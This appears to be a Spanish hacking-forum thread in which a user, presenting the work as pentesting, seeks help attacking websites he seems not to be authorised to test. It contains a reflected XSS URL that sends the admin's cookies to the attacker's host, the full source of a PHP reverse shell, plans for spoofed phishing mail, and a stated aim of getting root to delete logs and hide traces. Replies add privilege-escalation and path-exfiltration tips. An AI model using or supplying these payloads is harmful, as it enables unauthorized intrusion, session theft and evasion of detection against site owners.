Dudas en diversos pentest...

Iniciado por Søra, 18 Abril 2012, 18:50 PM

0 Miembros y 1 Visitante están viendo este tema.

Søra

Haber gentecilla :) hace ya mucho que no me pasaba por aqui y ahora tengo muchas dudas y no se como solucionarlas a ve si alguien me echa una mano...

PRIMERO:

Estoy llevando un pentest hacia una web y he encontrado un uploader sin filtros he subido una shell modificada para tener un aspecto mas amigable pero no he encontrado la ruta donde se envian los archivos, en mi busqueda he encontrado tambien una FPD(Full Path Disclosure) pero obvio que no muestra la ruta de la shell, tambien he encontrado una SQL injection pero tampoco me vale para nada ya que no hay ni siquiera un panel de contenidos, no al total del servidor.

SEGUNDA:

Realizando otro pentest he encontrado una XSS no persistente os paso la inyeccion a ver si lo hago bien esque es la primera que hago :S el buscador no tiene filtros ni nada y al realizar una busqueda aparece:

Código (htm) [Seleccionar]
<li><span class="totalpaginas">Resultados para mibusqueda</span></li>

y la url queda asi:

http://www.idomain.com/buscador/results?title=mibusqueda

Asi que la url que e preparado es esta:

www.idomain.com/buscador/results?title=</span></li><script>window.location='http://miweb/ckie.php='+document.cookie</script>

supongo que bastante simple no? pero bueno am y tengo otra duda respecto a esto necesitaria luego redireccionar al administrador a la web que quiera eso en JS como se haria?

TERCERO:

Tengo una shell inversa en php con este programa:

Código (php) [Seleccionar]
<?php

/*********************

@@author : lionaneesh
@@facebook : facebook.com/lionaneesh
@@Email : lionaneesh@gmail.com

********************/


ini_set('max_execution_time',0);

?>


<html>
<head>
    <title>Back Connect Shell -- PHP</title>
</head>

<body>

<h1>Welcome to Back Connect Control Panel </h1>

<p> Fill in the form Below to Start the Back Connect Service </p>

<?php
if( isset($_GET['port']) &&
    isset(
$_GET['ip']) &&
    
$_GET['port'] != "" &&
    
$_GET['ip'] != ""
    
)
    {
        echo 
"<p>The Program is now trying to connect!</p>";
        
$ip $_GET['ip'];
        
$port=$_GET['port'];
        
$sockfd=fsockopen($ip $port $errno$errstr );
        if(
$errno != 0)
        {
            echo 
"<font color='red'><b>$errno</b> : $errstr</font>";
        }
        else if (!
$sockfd)
        {
               
$result "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
        }
        else
        {
            
fputs ($sockfd ,
            
"\n=================================================================\n
            Back Connect in PHP\n
            Coded by lionaneesh\n
            @@author : lionaneesh
            @@facebook : facebook.com/lionaneesh
            @@Email : lionaneesh@gmail.com
            \n================================================================="
);
         
$pwd shell_exec("pwd");
         
$sysinfo shell_exec("uname -a");
         
$id shell_exec("id");
         
$dateAndTime shell_exec("time /t & date /T");
         
$len 1337;
         
fputs($sockfd ,$sysinfo "\n" );
         
fputs($sockfd ,$pwd "\n" );
         
fputs($sockfd ,$id ."\n\n" );
         
fputs($sockfd ,$dateAndTime."\n\n" );
         while(!
feof($sockfd))
         { 
            
$cmdPrompt ="(Shell)[$]> ";
            
fputs ($sockfd $cmdPrompt );
            
$commandfgets($sockfd$len);
            
fputs($sockfd "\n" shell_exec($command) . "\n\n");
         }
         
fclose($sockfd);
        }
    }
    else
    {
    
?>

    <table align="center" >
         <form method="GET">
         <td>
            <table style="border-spacing: 6px;">
                <tr>
                    <td>Port</td>
                    <td>
                        <input style="width: 200px;" name="port" value="31337" />
                    </td>
                </tr>
                <tr>
                    <td>IP </td>
                    <td><input style="width: 100px;" name="ip" size='5' value="127.0.0.1"/>
                </tr>
                <tr>
                <td>
                <input style="width: 90px;" class="own" type="submit" value="Connect back :D!"/>
                </td>
                </tr>   
                   
            </table>
         </td>
         </form>
    </tr>
    </table>
    <p align="center" style="color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
<?php
    
}
?>


El problema es que a pesar de el uso de varios exploits para intentar escalar privilegios no consigo la shell de root :( la maquina es ubuntu y el kernel:

2.6.28.8-20120119a-iscsi-ntacker-3ware-amd-sec8-ram64-grsec

bueno a pesar de la busqueda exahustiva por google no consigo nada :( asiqeu a ver si me podeis echar una manita :P un saludo chicos!!!!





Se busca sabio para intercambio:
Todo lo que se por la mitad de lo que desconozco.

Breixo

El uploader que comentas de que se trata, para que se supone que es?

En el XSS, el administrador tendría que hacer click en ese enlace para poder robarle las cookies, o bien entrar en alguna página que tengas bajo control y le redireciones hacia ese enlace.

En el tercer caso, mira a ver si sudo es vulnerable, por ejemplo este http://unaaldia.hispasec.com/2012/01/elevacion-de-privilegios-en-sudo-en.html

Søra

Haber, el uploader era de un curriculum pero estaba sin filtros solo ponia una recomendacion en plan porfavor prefiero .doc o .pdf aun asi enfin lo he dejado por unos dias asi a ver si se me ocurre algo.

El XSS ya esta todo claro, luego he añadido un window.location que lo llevara a la pagina que se supone que tiene que ir para que el ataque no quede "descolgado" el resto ingenieria social, aunqeu todavia estoy mirando desde donde lo voy a enviar si desde una web mail spoofing o desde un correo propio todo depende del pretexto :)

Buah aver el sistema es debian y lo he probado todo a nivel del kernel he usado montonazo de exploits, creo que el comando sudo en este sistema no funciona, tiene el su pero tampoco e encontrado vulns a ese nivel, he listado todos los programas a ver si encuentro algun bug que explotar pero he subido y eliminado cientos de exploits estoy casi asta los huev** :) necesito conseguir acceso a los logs para borrar mis huellas y para eso necesito root :( alguien se le ocurre algo? si necesitais mas info...

Un saludo!





Se busca sabio para intercambio:
Todo lo que se por la mitad de lo que desconozco.

dimitrix

Cita de: Søra en 25 Abril 2012, 19:19 PM
Haber, el uploader era de un curriculum pero estaba sin filtros solo ponia una recomendacion en plan porfavor prefiero .doc o .pdf aun asi enfin lo he dejado por unos dias asi a ver si se me ocurre algo.

Para empezar habrá que ver si es un CMS tipo Joomla, WP, pero por los bugs encontrados va a ser que no...

Luego tendrás que pensar ¿Se guarda en el servidor? Por que quizás se envié por correo electrónico.

Por último también puedes crear un .php que al ejecutarlo se te envíe un correo mediante mail() donde te indique la dirección interna. Quizás si alguna aplicación para verificarlo lo ejecuta o el propio administrador le sale como link te pueda funcionar...




Søra

Dios.. muy imaginativo dimitrix no se me habia ocurrido :) bueno me disculpo por las tardanzas pero no e podido estar muy activo gracias por su ayuda..





Se busca sabio para intercambio:
Todo lo que se por la mitad de lo que desconozco.